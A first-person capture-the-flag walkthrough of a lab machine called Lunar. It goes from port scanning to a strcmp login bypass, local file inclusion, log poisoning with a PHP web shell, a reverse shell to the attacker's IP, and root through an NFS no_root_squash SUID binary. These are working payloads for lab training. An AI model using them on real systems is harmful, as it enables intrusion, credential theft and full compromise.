Target IP: 192.168.205.216
Challenge Description: N/A.
Performing a TCP port scan using the command sudo nmap -sS 192.168.205.216 -p- returns the result shown in the image above. There are seven TCP ports open on the target machine.
┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/Lunar] └─$ sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 11:37 EST Nmap scan report for 192.168.205.216 Host is up (0.014s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA) | 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA) |_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Lunar Studio |_http-server-header: Apache/2.4.41 (Ubuntu) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 3 2049/udp nfs | 100003 3,4 2049/tcp nfs | 100005 1,2,3 47068/udp mountd | 100005 1,2,3 49303/tcp mountd | 100021 1,3,4 45217/tcp nlockmgr | 100021 1,3,4 60461/udp nlockmgr | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/udp nfs_acl 2049/tcp open nfs 3-4 (RPC #100003) 35235/tcp open tcpwrapped 38755/tcp open tcpwrapped 41721/tcp closed unknown No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=1/12%OT=22%CT=41721%CU=36258%PV=Y%DS=4%DC=T%G=Y%TM= OS:6783F000%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T OS:S=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M578ST11NW7%O2=M OS:578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN OS:(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF OS:0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3( OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y% OS:DFI=N%T=40%CD=S) Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 12.26 ms 192.168.45.1 2 12.12 ms 192.168.45.254 3 12.71 ms 192.168.251.1 4 13.13 ms 192.168.205.216 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.63 seconds
┌──(kali㉿kali)-[~/Desktop/Labs/CTFs/Lunar]
└─$ sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 11:37 EST
Nmap scan report for 192.168.205.216
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Lunar Studio
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 47068/udp mountd
| 100005 1,2,3 49303/tcp mountd
| 100021 1,3,4 45217/tcp nlockmgr
| 100021 1,3,4 60461/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
35235/tcp open tcpwrapped
38755/tcp open tcpwrapped
41721/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/12%OT=22%CT=41721%CU=36258%PV=Y%DS=4%DC=T%G=Y%TM=
OS:6783F000%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%T
OS:S=A)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M578ST11NW7%O2=M
OS:578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11NW7%O6=M578ST11)WIN
OS:(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF
OS:0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 12.26 ms 192.168.45.1
2 12.12 ms 192.168.45.254
3 12.71 ms 192.168.251.1
4 13.13 ms 192.168.205.216
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.63 secondsRunning an aggressive TCP port scan using the command sudo nmap -sV -A 192.168.205.216 -p 22,80,111,2049,35235,38755,41721 returns the result shown in the output above. The target machine is running the SSH application OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 on port 22. On port 80, the web server is using Apache httpd 2.4.41. NFS is open on the target machine at port 2049. RPC is also open on port 111. Time to check these ports out further.
Port 80: HTTP
The webpage shown in the picture above is returned for this web application on port 80. Checking through the source-code I identified a few special pages, including a login page. I enumerated the different pages and identified potential usernames.
I performed a directory search using the command feroxbuster -u http://192.168.205.216/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,jpg,yml,js,sql -d 6 --scan-dir-listings -C 404 and obtained the result shown in the image above. This scan successfully identified the entry backup.zip. This could be a potential backup of the web application. While the directory search is active, I decided to check out this backup.zip file.
I browsed to http://192.168.205.216 and the file backup.zip was downloaded on my computer. I extracted the contents and received the output shown above. Running tree shows the contents. There are multiple PHP pages. These source code could include hard coded credentials. Earlier I identified the login page, but I was unable to login. I was unable to perform SQL injection to bypass it either. Maybe I can understand how the web application works by learning how the login.php operates. When I checked the login.php source code, I find this part of the code interesting:
<?php
session_start();
include 'creds.php';
$error = null;
if ($_POST) {
if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
$_SESSION['email'] = $_POST['email'];
header('Location: dashboard.php');
die();
}
else {
$error = "Email or password is incorrect.";
}
}
?>
<!DOCTYPE html>
<html><?php
session_start();
include 'creds.php';
$error = null;
if ($_POST) {
if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
$_SESSION['email'] = $_POST['email'];
header('Location: dashboard.php');
die();
}
else {
$error = "Email or password is incorrect.";
}
}
?>
<!DOCTYPE html>
<html>There is a serious vulnerability in the login.php. The script contains the hardcoded username liam@lunar.local. Also, the password is checked using strcmp. This means it can be easily bypassed by naming the variable name password to something like password[]. I fired up burpsuite on my machine. Time to exploit it.
I intercepted a login request using burpsuite as shown in the image above. I tried to login using the credentials liam@lunar.local:123 but I had no luck.
Then I renamed the password to password[]. After sending the Send button, my request got redirected to dashboard.php as mentioned by the HTTP status code 302 Found. After following the redirection, the webpage shown in the picture above inside the burpsuite is returned. Now I can copy the request in my browser using the Show response in browser option.
I copied the request to my browser and obtained the webpage shown in the picture above. Right away, I notice the parameter name show. This parameter seems to be including the page pending or completed depending on which button is pressed. Since the extension .php is missing, the web application seems to automatically append it.
Owning the Web Application via LFI & File Log Poisoning
I checked the source code of dashboard.php and found the following code interesting. The web application automatically appends the .php extension. However, it is possible to include my own extension. Not only that, but the web application also seems to check our input. If the show parameter is set, it must contain the string pending or completed to work; otherwise, the page is not included. This can be bypassed easily by just ensuring either of the string is included. Using this, I can attempt to read the creds.php file.
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['show'])) {
if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
error_reporting(E_ALL ^ E_WARNING);
include $_GET['show'] . $ext;
} else {
echo 'You can select either one of these only';
}
}
?>
</section><?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['show'])) {
if(containsStr($_GET['show'], 'pending') || containsStr($_GET['show'], 'completed')) {
error_reporting(E_ALL ^ E_WARNING);
include $_GET['show'] . $ext;
} else {
echo 'You can select either one of these only';
}
}
?>
</section>
And bingo. To bypass the protection mechanism, I used the payload completed/../login; for example, I browsed to http://192.168.205.216/dashboard.php?show=completed/../login. The entire login.php is included in the main web page. This proves the web application is vulnerable to directory traversal as the login.php is included. But this is not what I want. I want to read the creds.php file. And one way to achieve this, rather than including and executing the included PHP file, is through PHP filters.
As shown in the image above, I used the payload php://filter/read=convert.base64-encode/resource=completed/../creds to obtain the contents of creds.php in base64 format. The full URL with the payload is http://192.168.205.216/dashboard.php?show=php://filter/read=convert.base64-encode/resource=completed/../creds as shown in the image above.
After decoding the base64 string using the command echo 'PD9waHANCiRwd2QgPSAnVGhlYnV0dGVyZmx5c3VtbWVyaXNiZWF1dGlmdWw5MDI5MjgnOw0KPz4=' | base64 -d, I obtained the password Thebutterflysummerisbeautiful902928. I tried to SSH into the target machine using the new credentials, but I had no luck. Time to check if I can manipulate the extension of the included file.
Using the payload completed/../../../../../etc/passwd&ext=, I managed to include the /etc/passwd file as shown in the image above. The full URL with the payload is http://192.168.205.216/dashboard.php?show=completed/../../../../../etc/passwd&ext=. Checking the output shows two users: root and liam. Using this same technique, I attempted to read the SSH key of the user liam, but I had no luck. Time to check if I can perform LFI.
To check for LFI, I ran the command ffuf -u 'http://192.168.205.216/dashboard.php?show=completed/../../../../../FUZZ&ext=' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -b "PHPSESSID=anajsc97gu9v71558cb71l2vtk" -fw 1306 | grep ".log" and obtained the result shown in the image above. I successfully obtained the entry /var/log/apache2/access.log which is poisonable. Every time I tried to access the access.log, it would return nothing. After resetting the box, this error went away.
I browsed to http://192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext= and now I am able to access the access.log file. Now I can attempt to poison it. I intercepted a request to the login.php page using burpsuite on my machine first.
As shown in the previous image, the access.log contains browser information such as the user agent. To poison the log, I can insert a simple PHP webshell directly after the User-Agent: header field; for example, User-Agent: <?php echo system($_GET['cmd']); ?>, as shown in the image above. Then I sent the request.
When I issue the command id, I obtain the result shown in the image above. The full URL with the payload is http://192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext=&cmd=id. Now I can perform Remote Code Execution (RCE) using this poisoned log file. The session seems to be of www-data. I can now attempt to obtain a reverse shell connection. I started a listener on my machine at port 8443.
Using the poisoned log file, I deployed the URL encoded PHP reverse shell php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.45.167%22%2C8443%29%3Bshell_exec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27. This invokes a reverse shell connection to my machine at port 8443. The full URL with the payload is 192.168.205.216/dashboard.php?show=completed/../../../../../var/log/apache2/access.log&ext=&cmd=php -r '%24sock%3Dfsockopen("192.168.45.167"%2C8443)%3Bshell_exec("%2Fbin%2Fbash <%263 >%263 2>%263")%3B'. As shown in the image above, now I have a reverse shell connection on my machine at port 8443 with the session as the user www-data. Time to elevate my privileges :)
Horizontal Privilege Escalation: User www-data to User liam via Saved SSH Key
I transferred linpeas to the target machine. And this automated tool found the SSH key id_rsa belonging to the user liam, as shown in the image above. I copied the content of the key and saved it on my machine.
I saved the content of the id_rsa on my machine inside a file called id_rsa. Then I changed the permission of the SSH key using the command chmod 400 id_rsa. Afterwards, I connected to the target machine using the command ssh liam@192.168.205.216 -i id_rsa. And bingo! Now I have successfully elevated my privileges on the target machine from www-data to the user liam as shown in the image above. This user also belongs to the group network.
Vertical Privilege Escalation: User liam to User root via NFS Misconfiguration
After running linpeas on the target machine, I also obtained the output shown in the image above. There is a misconfiguration with the NFS file system as the no_root_squash is enabled. However, this is only available to the localhost internally. Since the current user belongs to the network group, I can edit the /etc/hosts file.
On the compromised machine, I inserted my IP inside the /etc/hosts using the command echo '192.168.45.167 localhost' >> /etc/hosts. This allows my machine to mount the /srv/share mount that is available on the target machine.
Before mounting the NFS share, I ran the command mkdir share. This is the location where I will mount the share. To mount the NFS share, I ran the command sudo mount -t nfs 192.168.205.216:/srv/share share -o nolock. Inside this share directory, I created a file called shell.c that contains the following C code:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}Then I compiled the C code using the command sudo gcc -static shell.c -o shell on my machine inside the share directory. This output an executable file called bash. Afterwards, I ran the command sudo chmod u+s shell to change the permissions of the bash binary to have SUID bit set. The owner of the file is also changed to root.
On the compromised machine, I browsed to /srv/share. And then I used the command ./shell -p to spawn a root shell. And now I have a root shell on the target machine by abusing the NFS misconfiguration.
The two flags, proof.txt and local.txt, are shown in the image above.